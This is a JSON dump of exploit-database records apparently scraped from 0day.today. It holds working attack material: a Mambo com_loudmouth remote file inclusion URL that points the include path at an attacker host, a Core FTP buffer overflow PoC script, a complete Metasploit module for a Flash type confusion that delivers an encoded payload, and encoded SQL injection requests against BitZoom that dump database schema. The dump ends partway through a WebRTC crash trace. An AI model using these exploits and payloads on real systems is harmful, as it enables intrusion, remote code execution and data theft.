{"hash": "80e0ce69929940d498a5a0c793e69896578a96b6aad32c3fd1096fdfb5e7d10e", "id": "1337DAY-ID-585", "lastseen": "2018-04-14T08:19:09", "viewCount": 5, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "00157601768b634735774d15ccd18f9e", "key": "description"}, {"hash": "1a51e9e6f0a2a8c4f293e57790d803c7", "key": "href"}, {"hash": "a709325226198250a27b845e7f60cd98", "key": "modified"}, {"hash": "a709325226198250a27b845e7f60cd98", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "5d7e0a2d09fcc65a8dceed366761c388", "key": "reporter"}, {"hash": "5b12ddd222ee61edd5c657e188bfcde4", "key": "sourceData"}, {"hash": "82578a5802839e0c359051ebbed62511", "key": "sourceHref"}, {"hash": "2313e1427cf2f52a89abbcbad3851c02", "key": "title"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}], "bulletinFamily": "exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "edition": 2, "enchantments": {"score": {"value": -0.3, "vector": "NONE", "modified": "2018-04-14T08:19:09"}, "dependencies": {"references": [{"type": "metasploit", "idList": ["MSF:EXPLOIT/OSX/LOCAL/FEEDBACK_ASSISTANT_ROOT", "MSF:POST/SOLARIS/ESCALATE/PFEXEC", "MSF:EXPLOIT/QNX/QCONN/QCONN_EXEC", "MSF:EXPLOIT/OSX/BROWSER/ADOBE_FLASH_DELETE_RANGE_TL_OP", "MSF:AUXILIARY/SCANNER/HTTP/CISCO_DIRECTORY_TRAVERSAL", "MSF:AUXILIARY/DOS/SCADA/SIEMENS_SIPROTEC4", "MSF:PAYLOAD/WINDOWS/X64/VNCINJECT/BIND_NAMED_PIPE", "MSF:PAYLOAD/WINDOWS/X64/VNCINJECT/REVERSE_TCP_RC4", "MSF:PAYLOAD/WINDOWS/X64/METERPRETER/REVERSE_TCP_RC4", "MSF:PAYLOAD/WINDOWS/X64/SHELL/REVERSE_TCP_RC4"]}, {"type": "exploitdb", "idList": ["EDB-ID:46339", "EDB-ID:45444"]}, {"type": "zdt", "idList": ["1337DAY-ID-32146", "1337DAY-ID-31638", "1337DAY-ID-31144", "1337DAY-ID-30515"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:151589", "PACKETSTORM:148005"]}, {"type": "coresecurity", "idList": ["CORE-2018-0004"]}], "modified": "2018-04-14T08:19:09"}, "vulnersScore": -0.3}, "type": "zdt", "sourceHref": "https://0day.today/exploit/585", "description": "Exploit for unknown platform in category web applications", "title": "com_loudmouth Mambo Component <= 4.0j Include Vulnerability", "history": [{"bulletin": {"hash": "8787c6c38a6e6e60162415e5ed923573d265b2b258edce2b422bd3d144b14007", "id": "1337DAY-ID-585", "lastseen": "2016-04-19T10:13:02", "enchantments": {"score": {"value": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:N/A:P/", "modified": "2016-04-19T10:13:02"}}, "hashmap": [{"hash": "b49ab85af85f942f6a5bdf771e4d783f", "key": "sourceHref"}, {"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "61398e8480a0c7e4ba17a7caf9608a46", "key": "href"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "5d7e0a2d09fcc65a8dceed366761c388", "key": "reporter"}, {"hash": "a709325226198250a27b845e7f60cd98", "key": "modified"}, {"hash": "a709325226198250a27b845e7f60cd98", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "2313e1427cf2f52a89abbcbad3851c02", "key": "title"}, {"hash": "24aca69b0da827bda6a03fda89679150", "key": "sourceData"}, {"hash": "00157601768b634735774d15ccd18f9e", "key": "description"}], "bulletinFamily": "exploit", "history": [], "edition": 1, "type": "zdt", "sourceHref": "http://0day.today/exploit/585", "description": "Exploit for unknown platform in category web applications", "viewCount": 0, "title": "com_loudmouth Mambo Component <= 4.0j Include Vulnerability", "cvss": {"score": 0.0, "vector": "NONE"}, "objectVersion": "1.0", "cvelist": [], "sourceData": "===========================================================\r\ncom_loudmouth Mambo Component <= 4.0j Include Vulnerability\r\n===========================================================\r\n\r\n\r\n\r\n\r\nBug Found by h4ntu [http://h4ntu.com] #batamhacker crew\r\nAnother Mambo component remote inclusion vulneribility\r\n \r\ndownload : http://mamboxchange.com/frs/download.php/7911/com_loudmouth-4.0j.zip\r\n\r\nbug found in file abbc.class.php :\r\n\r\ninclude( $GLOBALS['mosConfig_absolute_path'].'/components/com_loudmouth/includes/abbc/abbc.config.php');\r\n\r\nhttp://[site]/[path]/components/com_loudmounth/includes/abbc/abbc.class.php? mosConfig_absolute_path=[attacker]\r\n \r\nGreetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo, and all #batamhacker [at] dalnet crew, #mardongan, #motha, #papmahackerlink\r\n\r\n\r\n\r\n\n# 0day.today [2016-04-19] #", "published": "2006-07-17T00:00:00", "references": [], "reporter": "h4ntu", "modified": "2006-07-17T00:00:00", "href": "http://0day.today/exploit/description/585"}, "lastseen": "2016-04-19T10:13:02", "edition": 1, "differentElements": ["sourceHref", "sourceData", "href"]}], "objectVersion": "1.3", "cvelist": [], "sourceData": "===========================================================\r\ncom_loudmouth Mambo Component <= 4.0j Include Vulnerability\r\n===========================================================\r\n\r\n\r\n\r\n\r\nBug Found by h4ntu [http://h4ntu.com] #batamhacker crew\r\nAnother Mambo component remote inclusion vulneribility\r\n \r\ndownload : http://mamboxchange.com/frs/download.php/7911/com_loudmouth-4.0j.zip\r\n\r\nbug found in file abbc.class.php :\r\n\r\ninclude( $GLOBALS['mosConfig_absolute_path'].'/components/com_loudmouth/includes/abbc/abbc.config.php');\r\n\r\nhttp://[site]/[path]/components/com_loudmounth/includes/abbc/abbc.class.php? mosConfig_absolute_path=[attacker]\r\n \r\nGreetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo, and all #batamhacker [at] dalnet crew, #mardongan, #motha, #papmahackerlink\r\n\r\n\r\n\r\n\n# 0day.today [2018-04-14] #", "published": "2006-07-17T00:00:00", "references": [], "reporter": "h4ntu", "modified": "2006-07-17T00:00:00", "href": "https://0day.today/exploit/description/585"}

{"zdt": [{"lastseen": "2019-12-04T18:09:21", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-09-10T00:00:00", "published": "2019-09-10T00:00:00", "id": "1337DAY-ID-33233", "href": "https://0day.today/exploit/description/33233", "title": "Core FTP LE Version 2.2 Build 1935 Buffer Overflow Exploit", "type": "zdt", "sourceData": "#!/usr/bin/python\r\n\r\n# Exploit Title: Core FTP LE Version 2.2, build 1935 - Local Buffer\r\nOverflow (SEH Unicode)\r\n# Vulnerability Details: Core FTP LE Version 2.2, build 1935 is prone to a\r\nbuffer overflow vulnerability that may result in a DoS user local folder\r\nselection pane\r\n# Vulnerable Software: Core FTP LE\r\n# Version: Version 2.2, build 1935\r\n# Vendor Homepage: http://www.coreftp.com/\r\n# Software Link: http://www.coreftp.com/download/coreftplite.exe\r\n# Tested Windows : Windows Vista Ultimate SP2(32-bit), Windows 7\r\nProfessional SP1(32-bit)\r\n# Exploit Author: Debashis Pal\r\n\r\n#Timeline\r\n# Vulnerability Discover Date: 01-Sep-2019\r\n# Vulnerability Report to Vendor:01-Sep-2019,No responds\r\n# Again email to Vendor:05-Sep-2019 ,No responds\r\n# Public Disclose : 08-Sep-2019\r\n\r\n# PoC\r\n# 1. coreftpleversion2-2build1935.txt from POC.py code, open in\r\nnotepad(coreftpleversion2-2build1935.txt), copy contents\r\n# 2. Open Core FTP LE(Version 2.2, build 1935)\r\n# 3. Select the left interface(CORE FTP LE,local folder selection pane)\r\n# 4. paste contents from notepad\r\n# 5. Application will crash and SEH overwritten with Unicode\r\n\r\n\r\n\r\ncrash = \"\\x43\" * 585 #Junk\r\ncrash += \"\\x42\" * 2 #nSEH\r\ncrash += \"\\x41\" * 2 #SEH\r\ncrash += \"\\x44\" * 411 #More Junk\r\n\r\n\r\nfile=\"coreftpleversion2-2build1935.txt\"\r\ngenerate=open(file, \"w\")\r\ngenerate.write(crash)\r\ngenerate.close\r\n\r\n#Attachment: Application will crash and SEH overwritten with Unicode.jpg\r\n\r\nThank you,\r\nDebashis Pal\n\n# 0day.today [2019-12-04] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/33233"}, {"lastseen": "2019-02-25T06:40:39", "bulletinFamily": "exploit", "description": "This Metasploit module exploits a type confusion on Adobe Flash Player, which was originally found being successfully exploited in the wild. This module has been tested successfully on: macOS Sierra 10.12.3, Safari and Adobe Flash Player 21.0.0.182, Firefox and Adobe Flash Player 21.0.0.182.", "modified": "2019-02-09T00:00:00", "published": "2019-02-09T00:00:00", "id": "1337DAY-ID-32146", "href": "https://0day.today/exploit/description/32146", "title": "Adobe Flash Player DeleteRangeTimelineOperation Type Confusion Exploit", "type": "zdt", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = GreatRanking\r\n\r\n include Msf::Exploit::Remote::BrowserExploitServer\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion',\r\n 'Description' => %q(\r\n This module exploits a type confusion on Adobe Flash Player, which was\r\n originally found being successfully exploited in the wild. This module\r\n has been tested successfully on:\r\n macOS Sierra 10.12.3,\r\n Safari and Adobe Flash Player 21.0.0.182,\r\n Firefox and Adobe Flash Player 21.0.0.182.\r\n ),\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Genwei Jiang', # FireEye original blog details on the vulnerability\r\n 'bcook-r7' # Imported Metasploit module\r\n ],\r\n 'References' =>\r\n [\r\n ['CVE', '2016-4117'],\r\n ['BID', '90505'],\r\n ['URL', 'https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html'],\r\n ['URL', 'http://www.securitytracker.com/id/1035826'],\r\n ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa16-02.html'],\r\n ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb16-15.html'],\r\n ],\r\n 'Payload' =>\r\n {\r\n 'DisableNops' => true\r\n },\r\n 'Platform' => ['osx'],\r\n 'BrowserRequirements' =>\r\n {\r\n source: /script|headers/i,\r\n os_name: lambda do |os|\r\n os =~ OperatingSystems::Match::MAC_OSX\r\n end,\r\n ua_name: lambda do |ua|\r\n case target.name\r\n when 'Mac OS X'\r\n return true if ua == Msf::HttpClients::SAFARI\r\n return true if ua == Msf::HttpClients::FF\r\n end\r\n\r\n false\r\n end,\r\n flash: lambda do |ver|\r\n case target.name\r\n when 'Mac OS X'\r\n return true if Gem::Version.new(ver) <= Gem::Version.new('21.0.0.182')\r\n end\r\n\r\n false\r\n end\r\n },\r\n 'Targets' =>\r\n [\r\n [\r\n 'Mac OS X', {\r\n 'Platform' => 'osx',\r\n 'Arch' => ARCH_X64\r\n }\r\n ]\r\n ],\r\n 'Privileged' => false,\r\n 'DisclosureDate' => 'Apr 27 2016',\r\n 'DefaultTarget' => 0))\r\n end\r\n\r\n def exploit\r\n @swf = create_swf\r\n\r\n super\r\n end\r\n\r\n def on_request_exploit(cli, request, target_info)\r\n print_status(\"Request: #{request.uri}\")\r\n\r\n if request.uri.end_with? 'swf'\r\n print_status('Sending SWF...')\r\n send_response(cli, @swf, 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache')\r\n return\r\n end\r\n\r\n print_status('Sending HTML...')\r\n send_exploit_html(cli, exploit_template(cli, target_info), 'Pragma' => 'no-cache')\r\n end\r\n\r\n def exploit_template(cli, target_info)\r\n swf_random = \"#{rand_text_alpha(3..7)}.swf\"\r\n target_payload = get_payload(cli, target_info)\r\n b64_payload = Rex::Text.encode_base64(target_payload)\r\n\r\n if target.name.include? 'osx'\r\n platform_id = 'osx'\r\n end\r\n html_template = %(<html>\r\n <body>\r\n <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" />\r\n <param name=\"movie\" value=\"<%=swf_random%>\" />\r\n <param name=\"allowScriptAccess\" value=\"always\" />\r\n <param name=\"FlashVars\" value=\"sh=<%=b64_payload%>&pl=<%=platform_id%>\" />\r\n <param name=\"Play\" value=\"true\" />\r\n <embed type=\"application/x-shockwave-flash\" width=\"1\" height=\"1\" src=\"<%=swf_random%>\" allowScriptAccess=\"always\" FlashVars=\"sh=<%=b64_payload%>&pl=<%=platform_id%>\" Play=\"true\"/>\r\n </object>\r\n </body>\r\n </html>\r\n )\r\n\r\n return html_template, binding\r\n end\r\n\r\n def create_swf\r\n path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4117', 'msf.swf')\r\n File.binread(path)\r\n end\r\nend\n\n# 0day.today [2019-02-25] #", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/32146"}, {"lastseen": "2018-11-19T19:13:19", "bulletinFamily": "exploit", "description": "Exploit for php platform in category web applications", "modified": "2018-11-16T00:00:00", "published": "2018-11-16T00:00:00", "id": "1337DAY-ID-31638", "href": "https://0day.today/exploit/description/31638", "title": "BitZoom 1.0 - rollno SQL Injection Vulnerability", "type": "zdt", "sourceData": "# Exploit Title: BitZoom 1.0 - 'rollno' SQL Injection\r\n# Exploit Author: Ihsan Sencan\r\n# Vendor Homepage: https://bitzoom.sourceforge.io/\r\n# Software Link: https://excellmedia.dl.sourceforge.net/project/bitzoom/bitzoom-master.zip\r\n# Version: 1.0\r\n# Category: Webapps\r\n# Tested on: WiN7_x64/KaLiLinuX_x64\r\n# CVE: N/A\r\n \r\n# POC: \r\n# 1) \r\n# http://localhost/[PATH]/forgot.php\r\n# \r\nPOST /PATH/forgot.php HTTP/1.1\r\nHost: TARGET\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nCookie: PHPSESSID=rsq0813q4hl4dtbfesogugiln3\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 572\r\nrollno=%31%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:[email\u00a0protected]_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%[email\u00a0protected]:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:[email\u00a0protected]%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2d%2d%20%2d\r\nHTTP/1.1 200 OK\r\nDate: Wed, 14 Nov 2018 11:17:49 GMT\r\nServer: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30\r\nX-Powered-By: PHP/5.6.30\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\nPragma: no-cache\r\nContent-Length: 2488\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html; charset=UTF-8\r\n \r\n# POC: \r\n# 2) \r\n# http://localhost/[PATH]/forgot.php\r\n# \r\nPOST /PATH/forgot.php HTTP/1.1\r\nHost: TARGET\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nCookie: PHPSESSID=rsq0813q4hl4dtbfesogugiln3\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 574\r\nusername=%31%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:[email\u00a0protected]_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%[email\u00a0protected]:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:[email\u00a0protected]%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2d%2d%20%2d\r\nHTTP/1.1 200 OK\r\nDate: Wed, 14 Nov 2018 11:17:52 GMT\r\nServer: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30\r\nX-Powered-By: PHP/5.6.30\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\nPragma: no-cache\r\nContent-Length: 2486\r\nKeep-Alive: timeout=5, max=99\r\nConnection: Keep-Alive\r\nContent-Type: text/html; charset=UTF-8\r\n \r\n# POC: \r\n# 3) \r\n# http://localhost/[PATH]/login.php\r\n# \r\nPOST /PATH/login.php HTTP/1.1\r\nHost: TARGET\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 592\r\nusername=%31%32%27%7c%28%53%65%6c%65%43%54%20%27%45%66%65%27%20%46%72%6f%4d%20%64%75%41%4c%20%57%68%65%52%45%20%31%31%30%3d%31%31%30%20%41%6e%44%20%28%73%65%4c%45%63%54%20%31%31%32%20%66%72%4f%4d%28%53%45%6c%65%63%54%20%43%6f%75%4e%54%28%2a%29%2c%43%6f%6e%43%41%54%28%44%41%54%41%42%41%53%45%28%29%2c%28%53%65%4c%45%63%74%20%28%45%4c%54%28%31%31%32%3d%31%31%32%2c%31%29%29%29%2c%46%4c%6f%6f%52%28%52%41%6e%64%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%72%6d%61%74%49%4f%4e%5f%53%63%68%45%4d%41%2e%50%6c%75%47%49%4e%53%20%67%72%4f%55%70%20%42%59%20%78%29%61%29%29%7c%27&password=Efe\r\nHTTP/1.1 200 OK\r\nDate: Wed, 14 Nov 2018 11:03:08 GMT\r\nServer: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30\r\nX-Powered-By: PHP/5.6.30\r\nContent-Length: 585\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html; charset=UTF-8\n\n# 0day.today [2018-11-19] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/31638"}, {"lastseen": "2018-09-22T13:48:28", "bulletinFamily": "exploit", "description": "Exploit for multiple platform in category dos / poc", "modified": "2018-09-22T00:00:00", "published": "2018-09-22T00:00:00", "id": "1337DAY-ID-31144", "href": "https://0day.today/exploit/description/31144", "title": "WebRTC - FEC Out-of-Bounds Read Exploit", "type": "zdt", "sourceData": "There is an out-of-bounds read in FEC processing in WebRTC. If a very short RTP packet is received, FEC will assume the packet is longer and process data outside of the allocated buffer.\r\n \r\nThis bug causes the following ASAN crash:\r\n \r\n==109993==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b003b7ff70 at pc 0x55e01a250cd1 bp 0x7fa3af7abc40 sp 0x7fa3af7abc38\r\nREAD of size 1 at 0x61b003b7ff70 thread T15 (Chrome_libJingl)\r\n #0 0x55e01a250cd0 in XorPayloads third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:615:34\r\n #1 0x55e01a250cd0 in webrtc::ForwardErrorCorrection::RecoverPacket(webrtc::ForwardErrorCorrection::ReceivedFecPacket const&, webrtc::ForwardErrorCorrection::RecoveredPacket*) third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:630\r\n #2 0x55e01a251162 in webrtc::ForwardErrorCorrection::AttemptRecovery(std::__1::list<std::__1::unique_ptr<webrtc::ForwardErrorCorrection::RecoveredPacket, std::__1::default_delete<webrtc::ForwardErrorCorrection::RecoveredPacket> >, std::__1::allocator<std::__1::unique_ptr<webrtc::ForwardErrorCorrection::RecoveredPacket, std::__1::default_delete<webrtc::ForwardErrorCorrection::RecoveredPacket> > > >*) third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:652:12\r\n #3 0x55e01a251b12 in webrtc::ForwardErrorCorrection::DecodeFec(webrtc::ForwardErrorCorrection::ReceivedPacket const&, std::__1::list<std::__1::unique_ptr<webrtc::ForwardErrorCorrection::RecoveredPacket, std::__1::default_delete<webrtc::ForwardErrorCorrection::RecoveredPacket> >, std::__1::allocator<std::__1::unique_ptr<webrtc::ForwardErrorCorrection::RecoveredPacket, std::__1::default_delete<webrtc::ForwardErrorCorrection::RecoveredPacket> > > >*) third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:739:3\r\n #4 0x55e01a4c5595 in webrtc::UlpfecReceiverImpl::ProcessReceivedFec() third_party/webrtc/modules/rtp_rtcp/source/ulpfec_receiver_impl.cc:248:11\r\n #5 0x55e01a4a1bb9 in webrtc::RtpVideoStreamReceiver::ParseAndHandleEncapsulatingHeader(unsigned char const*, unsigned long, webrtc::RTPHeader const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:419:23\r\n #6 0x55e01a49f05b in webrtc::RtpVideoStreamReceiver::ReceivePacket(unsigned char const*, unsigned long, webrtc::RTPHeader const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:390:5\r\n #7 0x55e01a49fcf2 in webrtc::RtpVideoStreamReceiver::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:290:3\r\n #8 0x55e009a368a1 in webrtc::RtpDemuxer::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/call/rtp_demuxer.cc:157:11\r\n #9 0x55e009a3b6e1 in webrtc::RtpStreamReceiverController::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/call/rtp_stream_receiver_controller.cc:55:19\r\n #10 0x55e01a231339 in webrtc::internal::Call::DeliverRtp(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) third_party/webrtc/call/call.cc:1321:36\r\n #11 0x55e01a232300 in webrtc::internal::Call::DeliverPacket(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) third_party/webrtc/call/call.cc:1361:10\r\n #12 0x55e01a95d341 in cricket::WebRtcVideoChannel::OnPacketReceived(rtc::CopyOnWriteBuffer*, rtc::PacketTime const&) third_party/webrtc/media/engine/webrtcvideoengine.cc:1441:26\r\n #13 0x55e01a1d8dc2 in cricket::BaseChannel::ProcessPacket(bool, rtc::CopyOnWriteBuffer const&, rtc::PacketTime const&) third_party/webrtc/pc/channel.cc\r\n #14 0x55e01a1f6760 in rtc::AsyncInvoker::OnMessage(rtc::Message*) third_party/webrtc/rtc_base/asyncinvoker.cc:45:22\r\n #15 0x55e01a0a6aa1 in jingle_glue::JingleThreadWrapper::Dispatch(rtc::Message*) jingle/glue/thread_wrapper.cc:157:22\r\n #16 0x55e01a0a7d7e in jingle_glue::JingleThreadWrapper::RunTask(int) jingle/glue/thread_wrapper.cc:279:7\r\n #17 0x55e00d52b6f5 in Run base/callback.h:96:12\r\n #18 0x55e00d52b6f5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:101\r\n #19 0x55e00d5881d5 in base::MessageLoop::RunTask(base::PendingTask*) base/message_loop/message_loop.cc:319:25\r\n #20 0x55e00d589444 in DeferOrRunPendingTask base/message_loop/message_loop.cc:329:5\r\n #21 0x55e00d589444 in base::MessageLoop::DoWork() base/message_loop/message_loop.cc:373\r\n #22 0x55e00d591acf in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:37:31\r\n #23 0x55e00d600551 in base::RunLoop::Run() base/run_loop.cc:102:14\r\n #24 0x55e00d6878b4 in base::Thread::ThreadMain() base/threading/thread.cc:337:3\r\n #25 0x55e00d73c694 in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:76:13\r\n #26 0x7fa3d586f493 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x7493)\r\n \r\n0x61b003b7ff70 is located 0 bytes to the right of 1520-byte region [0x61b003b7f980,0x61b003b7ff70)\r\nallocated by thread T15 (Chrome_libJingl) here:\r\n #0 0x55e00607ef92 in operator new(unsigned long) /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:93:3\r\n #1 0x55e01a4c3eeb in webrtc::UlpfecReceiverImpl::AddReceivedRedPacket(webrtc::RTPHeader const&, unsigned char const*, unsigned long, unsigned char) third_party/webrtc/modules/rtp_rtcp/source/ulpfec_receiver_impl.cc:101:26\r\n #2 0x55e01a4a1b6f in webrtc::RtpVideoStreamReceiver::ParseAndHandleEncapsulatingHeader(unsigned char const*, unsigned long, webrtc::RTPHeader const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:414:27\r\n #3 0x55e01a49f05b in webrtc::RtpVideoStreamReceiver::ReceivePacket(unsigned char const*, unsigned long, webrtc::RTPHeader const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:390:5\r\n #4 0x55e01a49fcf2 in webrtc::RtpVideoStreamReceiver::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:290:3\r\n #5 0x55e009a368a1 in webrtc::RtpDemuxer::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/call/rtp_demuxer.cc:157:11\r\n #6 0x55e009a3b6e1 in webrtc::RtpStreamReceiverController::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/call/rtp_stream_receiver_controller.cc:55:19\r\n #7 0x55e01a231339 in webrtc::internal::Call::DeliverRtp(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) third_party/webrtc/call/call.cc:1321:36\r\n #8 0x55e01a232300 in webrtc::internal::Call::DeliverPacket(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) third_party/webrtc/call/call.cc:1361:10\r\n #9 0x55e01a95d341 in cricket::WebRtcVideoChannel::OnPacketReceived(rtc::CopyOnWriteBuffer*, rtc::PacketTime const&) third_party/webrtc/media/engine/webrtcvideoengine.cc:1441:26\r\n #10 0x55e01a1d8dc2 in cricket::BaseChannel::ProcessPacket(bool, rtc::CopyOnWriteBuffer const&, rtc::PacketTime const&) third_party/webrtc/pc/channel.cc\r\n #11 0x55e01a1f6760 in rtc::AsyncInvoker::OnMessage(rtc::Message*) third_party/webrtc/rtc_base/asyncinvoker.cc:45:22\r\n #12 0x55e01a0a6aa1 in jingle_glue::JingleThreadWrapper::Dispatch(rtc::Message*) jingle/glue/thread_wrapper.cc:157:22\r\n #13 0x55e01a0a7d7e in jingle_glue::JingleThreadWrapper::RunTask(int) jingle/glue/thread_wrapper.cc:279:7\r\n #14 0x55e00d52b6f5 in Run base/callback.h:96:12\r\n #15 0x55e00d52b6f5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:101\r\n #16 0x55e00d5881d5 in base::MessageLoop::RunTask(base::PendingTask*) base/message_loop/message_loop.cc:319:25\r\n #17 0x55e00d589444 in DeferOrRunPendingTask base/message_loop/message_loop.cc:329:5\r\n #18 0x55e00d589444 in base::MessageLoop::DoWork() base/message_loop/message_loop.cc:373\r\n #19 0x55e00d591acf in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:37:31\r\n #20 0x55e00d600551 in base::RunLoop::Run() base/run_loop.cc:102:14\r\n #21 0x55e00d6878b4 in base::Thread::ThreadMain() base/threading/thread.cc:337:3\r\n #22 0x55e00d73c694 in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:76:13\r\n #23 